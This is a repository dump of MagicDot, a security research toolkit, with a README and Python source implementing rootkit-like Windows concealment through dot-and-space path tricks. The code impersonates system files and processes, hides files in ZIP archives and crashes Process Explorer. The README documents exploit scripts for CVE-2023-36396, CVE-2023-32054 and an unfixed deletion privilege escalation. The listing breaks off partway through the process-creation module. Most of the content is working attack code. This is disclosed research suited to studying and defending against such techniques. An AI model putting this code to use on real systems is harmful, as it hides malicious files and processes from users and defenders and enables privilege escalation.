├── .gitignore
├── LICENSE
├── README.md
├── images
└── magician-w-md-logo-KO-white.png
├── requirements.txt
├── setup.py
├── src
└── magic_dot
│ ├── __init__.py
│ ├── concealments.py
│ ├── file_utils.py
│ └── nt_create_user_process
│ ├── __init__.py
│ ├── nt_create_user_process.py
│ ├── ntdll.h
│ └── ntdll.py
└── tools
├── magic_dot_cli
├── args.py
├── command_handlers.py
└── magic_dot_cli.py
├── prepare_archive_rce_exploit
├── prepare_archive_rce_exploit.py
└── reparse_points
│ ├── __init__.py
│ ├── reparse_points.py
│ └── reparse_structs.py
├── prepare_delete_dir_exploit.py
└── prepare_shadow_copy_restoration_write_exploit.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | pip-wheel-metadata/
24 | share/python-wheels/
25 | *.egg-info/
26 | .installed.cfg
27 | *.egg
28 | MANIFEST
29 |
30 | # PyInstaller
31 | # Usually these files are written by a python script from a template
32 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
33 | *.manifest
34 | *.spec
35 |
36 | # Installer logs
37 | pip-log.txt
38 | pip-delete-this-directory.txt
39 |
40 | # Unit test / coverage reports
41 | htmlcov/
42 | .tox/
43 | .nox/
44 | .coverage
45 | .coverage.*
46 | .cache
47 | nosetests.xml
48 | coverage.xml
49 | *.cover
50 | *.py,cover
51 | .hypothesis/
52 | .pytest_cache/
53 |
54 | # Translations
55 | *.mo
56 | *.pot
57 |
58 | # Django stuff:
59 | *.log
60 | local_settings.py
61 | db.sqlite3
62 | db.sqlite3-journal
63 |
64 | # Flask stuff:
65 | instance/
66 | .webassets-cache
67 |
68 | # Scrapy stuff:
69 | .scrapy
70 |
71 | # Sphinx documentation
72 | docs/_build/
73 |
74 | # PyBuilder
75 | target/
76 |
77 | # Jupyter Notebook
78 | .ipynb_checkpoints
79 |
80 | # IPython
81 | profile_default/
82 | ipython_config.py
83 |
84 | # pyenv
85 | .python-version
86 |
87 | # pipenv
88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
91 | # install all needed dependencies.
92 | #Pipfile.lock
93 |
94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
95 | __pypackages__/
96 |
97 | # Celery stuff
98 | celerybeat-schedule
99 | celerybeat.pid
100 |
101 | # SageMath parsed files
102 | *.sage.py
103 |
104 | # Environments
105 | .env
106 | .venv
107 | env/
108 | venv/
109 | ENV/
110 | env.bak/
111 | venv.bak/
112 |
113 | # Spyder project settings
114 | .spyderproject
115 | .spyproject
116 |
117 | # Rope project settings
118 | .ropeproject
119 |
120 | # mkdocs documentation
121 | /site
122 |
123 | # mypy
124 | .mypy_cache/
125 | .dmypy.json
126 | dmypy.json
127 |
128 | # Pyre type checker
129 | .pyre/
130 |
131 | # VSCODE
132 | .vscode/*
133 |
134 | # Local History for Visual Studio Code
135 | .history/
136 |
137 | # Built Visual Studio Code Extensions
138 | *.vsix
139 |
140 | # OneDrive's DoubleDrive generated options
141 | onedrive_doubledrive/config.yaml
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2022, SafeBreach Labs
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MagicDot
2 | A set of rootkit-like abilities for unprivileged users, and vulnerabilities based on the DOT-to-NT path conversion known issue.
3 |
4 | Presented at Black Hat Asia 2024 under the title - [**MagicDot: A Hacker's Magic Show of Disappearing Dots and Spaces**](https://www.blackhat.com/asia-24/briefings/schedule/#magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces-36561)
5 |
6 | For a deeper understanding of the research, read this blog post - [**MagicDot: A Hacker's Magic Show of Disappearing Dots and Spaces**](https://www.safebreach.com/blog/magicdot-a-hackers-magic-show-of-disappearing-dots-and-spaces/)
7 |
8 |
9 |

10 |
11 |
12 | ## MagicDot Python Package
13 | Implements MagicDot's rootkit-like techniques:
14 | * Files/Directories named with dots only
15 | * Bonus - Such Directories prevent any shadow copy restoration of any parent directory of the inoperable directory
16 | * Inoperable Files/Directories
17 | * Impersonated Files/Directories
18 | * Impersonated Process
19 | * Process Explorer DoS Vulnerability - `CVE-2023-42757`
20 | * Hidden files in ZIP archives
21 |
22 | ### MagicDot Python Package Installation
23 | 1. Clone the repo
24 | 2. Install it locally:
25 | ```
26 | pip install
27 | ```
28 |
29 | ## MagicDot Tools
30 | Inside the `tools` folder you'll find the `magic_dot_cli` tool (dependent on the MagicDot Python package) along with 3 different solo scripts that implement the exploits for vulnerabilities `CVE-2023-36396`, `CVE-2023-32054`, and a third unfixed Deletion EoP vulnerability. During the installation of the MagicDot Python package, the requirements for these scripts are installed as well.
31 |
32 | For convenience purposes, it is recommended to pack magic_dot_cli into an executable using Pyinstaller:
33 | ```
34 | cd tools\magic_dot_cli\
35 | pyinstaller --onefile magic_dot_cli.py
36 | ```
37 |
38 | ### magic_dot_cli Usage
39 | ```
40 | python .\magic_dot_cli.py -h
41 | usage: magic_dot_cli.py [-h]
42 | {CREATE_IMPERSONATED_PROCESS,CREATE_INOPERABLE_FILE,CREATE_INOPERABLE_DIR,CREATE_DOTS_FILE,CREATE_DOTS_DIR,CREATE_IMPERSONATED_FILE,CREATE_IMPERSONATED_DIR,ADD_INVISIBLE_FILE_INTO_ZIP,DISABLE_PROCEXP}
43 | ...
44 |
45 | An unprivileged rootkit-like tool
46 |
47 | optional arguments:
48 | -h, --help show this help message and exit
49 |
50 | command:
51 | {CREATE_IMPERSONATED_PROCESS,CREATE_INOPERABLE_FILE,CREATE_INOPERABLE_DIR,CREATE_DOTS_FILE,CREATE_DOTS_DIR,CREATE_IMPERSONATED_FILE,CREATE_IMPERSONATED_DIR,ADD_INVISIBLE_FILE_INTO_ZIP,DISABLE_PROCEXP}
52 | CREATE_IMPERSONATED_PROCESS
53 | Create a process that impersonates a different process. Both Task Manager and Process Explorer will display
54 | information about the target process to impersonate to
55 | CREATE_INOPERABLE_FILE
56 | Create an inoperable file
57 | CREATE_INOPERABLE_DIR
58 | Create an inoperable directory
59 | CREATE_DOTS_FILE Create a dots file
60 | CREATE_DOTS_DIR Create a dots directory
61 | CREATE_IMPERSONATED_FILE
62 | Create a file that impersonates a different file
63 | CREATE_IMPERSONATED_DIR
64 | Create a directory that impersonates a different directory
65 | ADD_INVISIBLE_FILE_INTO_ZIP
66 | Inserts a file into a zip. The file is inserted with a name that prevents Windows' ZIP archiver from being
67 | able to list it in the ZIP.
68 | DISABLE_PROCEXP Exploits a DOS vulnerability in ProcExp. Creates a process that runs forever and does nothing. The process
69 | has a certain name that crashes ProcExp whenever it runs. Valid against all ProcExp versions under version
70 | 17.04 (released in April 3rd 2023).
71 | ```
72 |
73 | For more help per each command use `-h` for the specific command. For Example:
74 | ```
75 | python magic_dot_cli.py CREATE_IMPERSONATED_PROCESS -h
76 | ```
77 |
78 | ### prepare_archive_rce_exploit Usage (CVE-2023-36396)
79 | ```
80 | python prepare_archive_rce_exploit.py -h
81 | usage: prepare_archive_rce_exploit.py [-h] [--target-dir-relative TARGET_DIR_RELATIVE]
82 | files_to_write_paths [files_to_write_paths ...]
83 | out_archive_path
84 |
85 | Exploits CVE-2023-36396. Crafts a malicious archive that exploits Windows File Explorer
86 | to extract a file to an arbitrary relative path. The default relative path is set to
87 | point from the Downloads directory to the user's Startup folder
88 |
89 | positional arguments:
90 | files_to_write_paths File paths separated by spaces. These files are the files which
91 | will be written to the chosen victim's directory
92 | out_archive_path Path to the archive to be created that will contain the exploit.
93 | the type of the archive will be determined based on the file
94 | extension provided. Supported types: .tar|.tar.gz|.tar.gzip|.tar
95 | .xz|.tar.bz2|.tar.bzip2|.tar.zst|.tar.zstd|.7z|.7zip
96 |
97 | optional arguments:
98 | -h, --help show this help message and exit
99 | --target-dir-relative TARGET_DIR_RELATIVE
100 | A relative path from the victim's estimated extraction folder to
101 | the destination folder of the executables
102 | ```
103 |
104 | ### prepare_shadow_copy_restoration_write_exploit Usage (CVE-2023-32054)
105 | ```
106 | python .\prepare_shadow_copy_restoration_write_exploit.py -h
107 | usage: prepare_shadow_copy_restoration_write_exploit.py [-h] -target-dir TARGET_DIR
108 | (-replacing-dir REPLACING_DIR | -remove-dir)
109 |
110 | Exploits CVE-2023-32054
111 |
112 | optional arguments:
113 | -h, --help show this help message and exit
114 | -target-dir TARGET_DIR
115 | The target directory to try to overwrite its files. The
116 | directory is vulnerable if an unprivileged user is allowed to
117 | create a new directory its parent directory
118 | -replacing-dir REPLACING_DIR
119 | The directory that contains files with the same names in the
120 | same structure of the target dir but with the new desired
121 | content
122 | -remove-dir Delete the directory created a part of the exploit in an
123 | earlier point in time. This is recommended to be done after a
124 | shadow copy was taken by an admin, while the directory
125 | existed
126 | ```
127 |
128 | ### prepare_delete_dir_exploit Usage
129 | ```
130 | python prepare_delete_dir_exploit.py -h
131 | usage: prepare_delete_dir_exploit.py [-h] target_dir
132 |
133 | Exploits a "won't fixed" deletion EoP vulnerability triggered by a privileged user
134 | interaction. Creates a directory called "... " in a target directory to delete. When
135 | "... " is deleted, then its parent directory is deleted too.
136 |
137 | positional arguments:
138 | target_dir The target directory to try to delete. It is vulnerable only if you can
139 | create a directory inside it.
140 |
141 | optional arguments:
142 | -h, --help show this help message and exit
143 | ```
144 |
145 |
--------------------------------------------------------------------------------
/images/magician-w-md-logo-KO-white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/images/magician-w-md-logo-KO-white.png
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | Brotli==1.1.0
2 | inflate64==1.0.0
3 | multivolumefile==0.2.3
4 | psutil==5.9.8
5 | py7zr==0.21.0
6 | pybcj==1.0.2
7 | pycryptodomex==3.20.0
8 | pyppmd==1.1.0
9 | pywin32==306
10 | pyzstd==0.15.10
11 | texttable==1.7.0
12 | zstandard==0.22.0
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | from setuptools import setup, find_packages
2 |
3 | with open("requirements.txt") as f:
4 | required = f.read().splitlines()
5 | setup(
6 | name="MagicDot",
7 | version="1.0",
8 | package_dir={"": "src"}, # Optional
9 | packages=find_packages(where="src"), # Required
10 | install_requires=required)
--------------------------------------------------------------------------------
/src/magic_dot/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/src/magic_dot/__init__.py
--------------------------------------------------------------------------------
/src/magic_dot/concealments.py:
--------------------------------------------------------------------------------
1 | import tempfile
2 | import os
3 | import shutil
4 | import zipfile
5 | import uuid
6 | from ctypes.wintypes import HANDLE
7 |
8 | from magic_dot.nt_create_user_process.nt_create_user_process import nt_create_user_process
9 | from magic_dot.file_utils import nt_path, nt_makedirs, set_short_name, get_short_name, dos_path
10 |
11 | DOTS_FILE_NAME = "..."
12 |
13 |
14 | def generate_impersonated_path(target_path: str, near: bool) -> str:
15 | r"""
16 | Generates a path that impersonates another path. Once the generated path is referenced
17 | by a DOS path, and converted by Windows to an NT path, it references a different chosen path.
18 | For example, if the desired path to impersonate to is "C:\Windows\System32\svchost.exe", then
19 | the generated path is "\??\C:\Windows.\System32\svchost.exe". If the generated path is
20 | referenced by a DOS path, then as part of the DOS-to-NT conversion process in Windows, the
21 | trailing dot from "Windows." is removed, resulting the path "C:\Windows\System32\svchost.exe".
22 |
23 | :param target_path: The path to impersonate to
24 | :param near: Should the resulted path be in the same folder of "target_path"
25 | :return: The generated path, as an NT path
26 | """
27 | impersonated_path = ""
28 | if near:
29 | impersonated_path = f"{target_path}."
30 | else:
31 | target_file_path_split = target_path.split("\\")
32 | top_level_directory = os.path.join(f"{target_file_path_split[0]}\\", target_file_path_split[1])
33 | under_top_level_directory = os.path.join(*target_file_path_split[2:])
34 | impersonated_path = os.path.join(f"{top_level_directory}.", under_top_level_directory)
35 |
36 | return nt_path(impersonated_path)
37 |
38 |
39 | def generate_inoperable_path(parent_dir_path: str):
40 | """
41 | Generates a path that is inoperable. Once the generated path is referenced
42 | by a DOS path, and converted by Windows to an NT path, it references a non-existent
43 | path.
44 |
45 | :param parent_dir_path: The parent path of the resulted generated path
46 | :return: The generated inoperable path, as an NT path.
47 | """
48 | target_path = os.path.join(parent_dir_path, str(uuid.uuid4()))
49 | return generate_impersonated_path(target_path, near=True)
50 |
51 |
52 | def generate_dots_path(parent_dir_path: str):
53 | r"""
54 | Generates a path with a last path element made only from dots. If this path is
55 | referenced with a DOS path, then the last path element will always be removed
56 | as part of Windows' DOS-to-NT path conversion process, eventually referencing
57 | the parent directory of the path. These paths will usually create many issues
58 | when referenced with DOS paths by normal software.
59 |
60 | :param parent_dir_path: The parent path of the resulted generated path
61 | :return: The generated path, as an NT path
62 | """
63 | parent_dir_abs_path = os.path.abspath(parent_dir_path)
64 | dots_path = nt_path(os.path.join(parent_dir_abs_path, DOTS_FILE_NAME))
65 |
66 | while os.path.exists(dots_path):
67 | dots_path += "."
68 |
69 | return dots_path
70 |
71 |
72 | def create_magic_dot_file(file_path: str, copy_from: str = None):
73 | """
74 | Creates a file in given path even its path has trailing dots or spaces
75 | in some of its path elements
76 |
77 | :param file_path: The path to the file to create.
78 | :param copy_from: A path to a file with the content to write into the new file, defaults to None
79 | """
80 | if copy_from is not None:
81 | copy_from_abs_path = os.path.abspath(copy_from)
82 | shutil.copyfile(copy_from_abs_path, nt_path(file_path))
83 | else:
84 | open(nt_path(file_path), "wb").close()
85 |
86 |
87 | def create_magic_dot_dir(dir_path: str, copy_from: str = None):
88 | """
89 | Creates a directory in given path even its path has trailing dots or spaces
90 | in some of its path elements
91 |
92 | :param dir_path: The path to the directory to create.
93 | :param copy_from: A path to a directory with the content to write into the new directory,
94 | defaults to None
95 | """
96 | if copy_from:
97 | copy_from_abs_path = os.path.abspath(copy_from)
98 | shutil.copytree(copy_from_abs_path, nt_path(dir_path))
99 | else:
100 | os.mkdir(nt_path(dir_path))
101 |
102 |
103 | def create_inoperable_file(parent_dir_path: str, copy_from: str = None) -> str:
104 | """
105 | Creates an inoperable file. Read generate_inoperable_path's docstring.
106 |
107 | :param parent_dir_path: The directory to create the file in
108 | :param copy_from: A path to a file with the content to write into the new file, defaults to None
109 | :return: The path to the new file, as an NT path
110 | """
111 | dots_file_path = generate_inoperable_path(parent_dir_path)
112 | create_magic_dot_file(dots_file_path, copy_from)
113 |
114 | return dots_file_path
115 |
116 |
117 | def create_inoperable_dir(parent_dir_path: str, copy_from: str = None) -> str:
118 | """
119 | Creates an inoperable directory. Read generate_inoperable_path's docstring.
120 |
121 | :param parent_dir_path: The directory to create the directory in
122 | :param copy_from: A path to a directory with the content to write into the new directory,
123 | defaults to None
124 | :return: The path to the new directory, as an NT path
125 | """
126 | dots_file_path = generate_inoperable_path(parent_dir_path)
127 | create_magic_dot_dir(dots_file_path, copy_from)
128 |
129 | return dots_file_path
130 |
131 |
132 | def create_dots_file(parent_dir_path: str, copy_from: str = None) -> str:
133 | """
134 | Creates a file with a name made only from dots.
135 |
136 | :param parent_dir_path: The directory to create the file in
137 | :param copy_from: A path to a file with the content to write into the new file, defaults to None
138 | :return: The path to the new file, as an NT path
139 | """
140 | dots_file_path = generate_dots_path(parent_dir_path)
141 | create_magic_dot_file(dots_file_path, copy_from)
142 |
143 | return dots_file_path
144 |
145 |
146 | def create_dots_dir(parent_dir_path: str, copy_from: str = None):
147 | """
148 | Creates a directory with a name made only from dots.
149 |
150 | :param parent_dir_path: The directory to create the directory in
151 | :param copy_from: A path to a directory with the content to write into the new directory,
152 | defaults to None
153 | :return: The path to the new directory, as an NT path
154 | """
155 | dots_dir_path = generate_dots_path(parent_dir_path)
156 | create_magic_dot_dir(dots_dir_path, copy_from)
157 |
158 | return dots_dir_path
159 |
160 |
161 | def create_impersonated_file(
162 | target_file: str,
163 | copy_from: str = None,
164 | near: bool = False,
165 | use_existing_short_name: bool = False,
166 | use_specific_short_name: str = None,
167 | ) -> str:
168 | """
169 | Read generate_impersonated_path's docstring.
170 | Creates a file that impersonates a different file on the filesystem. Basically, creates
171 | a file in a path generated by the generate_impersonated_path() function. In addition,
172 | it's possible to choose that the generated file will impersonate the short name of the
173 | target file. Impersonating the short name of the target file can be done in two ways:
174 | 1. Impersonate the existing short name of the target file
175 | 2. Set a short name for the target file and impersonate its path
176 |
177 | :param target_file: The target file to impersonate to
178 | :param copy_from: A path to a file with the content to write into the new file
179 | :param near: Should the resulted path be in the same folder of "target_file", defaults to False
180 | :param use_existing_short_name: Should the file impersonate the path for the short name of
181 | "target_file", defaults to False
182 | :param use_specific_short_name: A short name to set for the target file, leading the resulted
183 | file to impersonate it, instead of the normal name, defaults to
184 | None
185 | :return: The path the new file, as an NT path
186 | """
187 | target_file_abs_path = os.path.abspath(target_file)
188 |
189 | if use_specific_short_name != None:
190 | set_short_name(target_file_abs_path, use_specific_short_name)
191 |
192 | if use_specific_short_name or use_existing_short_name:
193 | target_file_abs_path = get_short_name(target_file_abs_path)
194 |
195 | impersonated_file_path = generate_impersonated_path(target_file_abs_path, near)
196 | nt_makedirs(os.path.dirname(impersonated_file_path))
197 |
198 | create_magic_dot_file(impersonated_file_path, copy_from)
199 |
200 | return impersonated_file_path
201 |
202 |
203 | def create_impersonated_dir(
204 | target_dir: str,
205 | copy_from: str = None,
206 | near: bool = False,
207 | use_existing_short_name: bool = False,
208 | use_specific_short_name: str = None,
209 | ) -> str:
210 | """
211 | Read generate_impersonated_path's docstring.
212 | Creates a directory that impersonates a different directory on the filesystem.
213 | Basically, creates a directory in a path generated by the generate_impersonated_path()
214 | function. In addition, it's possible to choose that the generated directory will
215 | impersonate the short name of the target directory. Impersonating the short name of the
216 | target directory can be done in two ways:
217 | 1. Impersonate the existing short name of the target directory
218 | 2. Set a short name for the target directory and impersonate its path
219 |
220 | :param target_dir: The target directory to impersonate to
221 | :param copy_from: A path to a directory with the content to write into the new directory
222 | :param near: Should the resulted path be in the same folder of "target_dir", defaults to False
223 | :param use_existing_short_name: Should the directory impersonate the path for the short name of
224 | "target_dir", defaults to False
225 | :param use_specific_short_name: A short name to set for the target directory, leading the
226 | resulted directory to impersonate it, instead of the normal
227 | name, defaults to None
228 | :return: The path the new directory, as an NT path
229 | """
230 | target_dir_abs_path = os.path.abspath(target_dir)
231 |
232 | if use_specific_short_name != None:
233 | set_short_name(target_dir_abs_path, use_specific_short_name)
234 |
235 | if use_specific_short_name or use_existing_short_name:
236 | target_dir_abs_path = get_short_name(target_dir_abs_path)
237 |
238 | impersonated_dir_path = generate_impersonated_path(target_dir_abs_path, near)
239 | nt_makedirs(os.path.dirname(impersonated_dir_path))
240 |
241 | create_magic_dot_dir(impersonated_dir_path, copy_from)
242 |
243 | return impersonated_dir_path
244 |
245 |
246 | def create_impersonated_process(impersonate_to_path: str, exe_path: str) -> HANDLE:
247 | """
248 | Runs an executable from a path that impersonates a path.
249 | Read generate_impersonated_path's docstring.
250 |
251 | :param impersonate_to_path: The path to impersonate to
252 | :param exe_path: The path for the executable to run
253 | :return: A handle to the running process, after it was run
254 | """
255 | impersonated_file_path = create_impersonated_file(impersonate_to_path, exe_path, False)
256 | return nt_create_user_process(impersonated_file_path, os.path.abspath(dos_path(impersonate_to_path)))
257 |
258 |
259 | def add_invisible_file_to_zip(zip_file_path: str, file_path: str):
260 | """
261 | Adds a file to a ZIP archive in a way that File Explorer does not
262 | present it to users that list or extract the archive. This is done
263 | by creating a folder
264 |
265 | :param zip_file_path: The path to the ZIP archive to add the file into
266 | :param file_path: The path to the file to add into the ZIP archive
267 | """
268 | zip_file_abs_path = os.path.abspath(zip_file_path)
269 | file_abs_path = os.path.abspath(file_path)
270 | with zipfile.ZipFile(zip_file_abs_path, "a") as zip:
271 | zip.write(file_abs_path, f"..\\{os.path.basename(file_abs_path)}")
272 |
273 |
274 | def disable_procexp():
275 | """
276 | Exploits CVE-2023-42757. Runs a process with a name that leads
277 | Process explorer to close and to be unable to run again as longs
278 | as this process is running.
279 | """
280 | temp_path = tempfile.gettempdir()
281 | disabling_process_path = os.path.join(temp_path, "a" * 255)
282 | cmd_exe_path = os.path.expandvars(r"%systemroot%\System32\cmd.exe")
283 | shutil.copyfile(cmd_exe_path, nt_path(disabling_process_path))
284 | nt_create_user_process(disabling_process_path, hide_console_window=True)
285 |
--------------------------------------------------------------------------------
/src/magic_dot/file_utils.py:
--------------------------------------------------------------------------------
1 | """
2 | Windows file utils supporting MagicDot's concealment techniques
3 | """
4 | import os
5 | import win32file
6 | import win32con
7 |
8 |
9 | def nt_path(path: str) -> str:
10 | """
11 | Converts a DOS path into an NT path. If the provided path is an already an
12 | NT path referencing a DOS device, then the returned path is the same path.
13 |
14 | :param path: The path to convert
15 | :return: The resulted NT path
16 | """
17 | if path.startswith("\\??"):
18 | return path
19 |
20 | return f"\\??\\{path}"
21 |
22 |
23 | def dos_path(path: str) -> str:
24 | """
25 | Converts an NT path referencing to a DOS device into a DOS path.
26 |
27 | :param path: The path to convert
28 | :return: The resulted DOS path
29 | """
30 | return path.replace("\\??\\", "")
31 |
32 |
33 | def nt_makedirs(path: str):
34 | """
35 | Creates directories recursively. Same as os.makedirs(),
36 | but works with paths that have trailing dots and trailing spaces in path elements.
37 |
38 | :param path: The path of the directories to create
39 | """
40 | path_head, path_tail = os.path.split(dos_path(path))
41 | if "" == path_tail:
42 | return
43 | else:
44 | nt_makedirs(path_head)
45 | try:
46 | os.mkdir(nt_path(path))
47 | except FileExistsError:
48 | pass
49 |
50 |
51 | def set_short_name(path: str, short_name: str):
52 | """
53 | Sets the short name of a file or a directory.
54 |
55 | :param path: The path of the file or directory
56 | :param short_name: The short name to set
57 | """
58 | flags = 0
59 | if os.path.isdir(path):
60 | flags = win32con.FILE_FLAG_BACKUP_SEMANTICS
61 |
62 | file_handle = win32file.CreateFile(
63 | path,
64 | win32con.GENERIC_ALL,
65 | win32con.FILE_SHARE_DELETE | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_READ,
66 | None,
67 | win32con.OPEN_EXISTING,
68 | flags,
69 | 0,
70 | )
71 | win32file.SetFileShortName(file_handle, short_name)
72 | win32file.CloseHandle(file_handle)
73 |
74 |
75 | def get_short_name(path: str) -> str:
76 | """
77 | Retrieves the short name of a file or a directory.
78 |
79 | :param path: The path of the file or the directory
80 | :raises NameError: Raised if the file does not have a short name
81 | :return: The short name of the file or the directory
82 | """
83 | parent_path = os.path.dirname(path)
84 | # index 9 in the tuple is the alternate file name
85 | # https://timgolden.me.uk/pywin32-docs/WIN32_FIND_DATA.html
86 | short_file_name = win32file.FindFilesW(path)[0][9]
87 | if short_file_name == "":
88 | raise NameError(f'"{parent_path}" does not have a short name')
89 | short_name_path = os.path.join(parent_path, short_file_name)
90 | return short_name_path
91 |
--------------------------------------------------------------------------------
/src/magic_dot/nt_create_user_process/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SafeBreach-Labs/MagicDot/9481e065d176bc17a415063674b6c025ca32382d/src/magic_dot/nt_create_user_process/__init__.py
--------------------------------------------------------------------------------
/src/magic_dot/nt_create_user_process/nt_create_user_process.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import os
3 | from ctypes import *
4 | from ctypes.wintypes import *
5 |
6 | from magic_dot.file_utils import nt_path, dos_path
7 | from . import ntdll
8 |
9 | class UNICODE_STRING(Structure):
10 | _fields_ = [('Length', USHORT),
11 | ('MaximumLength', USHORT),
12 | ('Buffer', POINTER(WCHAR))]
13 |
14 | def get_string(self):
15 | return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
16 |
17 |
18 | # class _RTL_USER_PROCESS_PARAMETERS(Structure):
19 | # _fields_ = [
20 | # ("MaximumLength", ULONG),
21 | # ("Length", ULONG),
22 | # ("Flags", ULONG),
23 | # ("DebugFlags", ULONG),
24 | # ("ConsoleHandle", HANDLE),
25 | # ("Reserved1", BYTE * 16),
26 | # ("Reserved2", c_void_p * 10),
27 | # ("ImagePathName", UNICODE_STRING),
28 | # ("CommandLine", UNICODE_STRING),
29 | # ]
30 | # PRTL_USER_PROCESS_PARAMETERS = POINTER(_RTL_USER_PROCESS_PARAMETERS)
31 | # RTL_USER_PROCESS_PARAMETERS = _RTL_USER_PROCESS_PARAMETERS
32 |
33 | RTL_USER_PROCESS_PARAMETERS_NORMALIZED = 1
34 |
35 | PS_ATTRIBUTE_IMAGE_NAME = 0x20005
36 | THREAD_ALL_ACCESS = 0x1fffff
37 | PROCESS_ALL_ACCESS = 0x1fffff
38 |
39 | PROCESS_CREATE_FLAGS_CREATE_SUSPENDED = 0x00000200
40 | THREAD_CREATE_FLAGS_CREATE_SUSPENDED = 0x00000001
41 |
42 | CONSOLE_HANDLE_CREATE_NO_WINDOW = -3
43 |
44 |
45 | def RtlInitUnicodeString(dst_unicode_str, src_wchar_buffer):
46 | memset(addressof(dst_unicode_str), 0, sizeof(dst_unicode_str))
47 | dst_unicode_str.Buffer = cast(src_wchar_buffer, POINTER(WCHAR))
48 | dst_unicode_str.Length = sizeof(src_wchar_buffer) - 2 # Excluding terminating NULL character
49 | dst_unicode_str.MaximumLength = dst_unicode_str.Length
50 |
51 |
52 | def nt_create_user_process(exe_path, custom_cmdline=None, current_directory=None, hide_console_window: bool = False, nt_process_create_flags: int = 0, nt_thread_create_flags: int = 0) -> HANDLE:
53 | exe_path = dos_path(exe_path)
54 |
55 | if None == custom_cmdline:
56 | custom_cmdline = exe_path
57 |
58 | if None == current_directory:
59 | current_directory = os.path.dirname(exe_path)
60 |
61 | nt_exe_path_unicode_buffer = create_unicode_buffer(nt_path(exe_path))
62 | nt_exe_path_unicode_string = UNICODE_STRING()
63 | RtlInitUnicodeString(nt_exe_path_unicode_string, nt_exe_path_unicode_buffer)
64 |
65 | cmdline_unicode_buffer = create_unicode_buffer(custom_cmdline)
66 | cmdline_unicode_string = UNICODE_STRING()
67 | RtlInitUnicodeString(cmdline_unicode_string, cmdline_unicode_buffer)
68 |
69 | current_directory_unicode_buffer = create_unicode_buffer(current_directory)
70 | current_directory_unicode_string = UNICODE_STRING()
71 | RtlInitUnicodeString(current_directory_unicode_string, current_directory_unicode_buffer)
72 |
73 | process_parameters = ntdll.PRTL_USER_PROCESS_PARAMETERS()
74 |
75 | ctypes.windll.ntdll.RtlCreateProcessParametersEx.restype = c_ulong
76 | nt_status = ctypes.windll.ntdll.RtlCreateProcessParametersEx(byref(process_parameters), byref(nt_exe_path_unicode_string), None, byref(current_directory_unicode_string), byref(cmdline_unicode_string), None, None, None, None, None, RTL_USER_PROCESS_PARAMETERS_NORMALIZED)
77 | if nt_status != 0:
78 | raise OSError(f"RtlCreateProcessParametersEx returned an error nt status: {hex(nt_status)}")
79 |
80 | if hide_console_window:
81 | process_parameters.contents.ConsoleHandle = CONSOLE_HANDLE_CREATE_NO_WINDOW
82 |
83 | create_info = ntdll.PS_CREATE_INFO()
84 | memset(byref(create_info), 0, sizeof(create_info))
85 | create_info.Size = sizeof(create_info)
86 | create_info.State = ntdll.PsCreateInitialState
87 |
88 |
89 | attribute_list = cast(create_string_buffer(sizeof(ntdll.PS_ATTRIBUTE) + sizeof(c_uint64)), ntdll.PPS_ATTRIBUTE_LIST)
90 | memset(attribute_list, 0, sizeof(ntdll.PS_ATTRIBUTE))
91 | attribute_list.contents.TotalLength = sizeof(ntdll.PS_ATTRIBUTE_LIST) - sizeof(ntdll.PS_ATTRIBUTE)
92 | attribute_list.contents.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME
93 | attribute_list.contents.Attributes[0].Size = nt_exe_path_unicode_string.Length
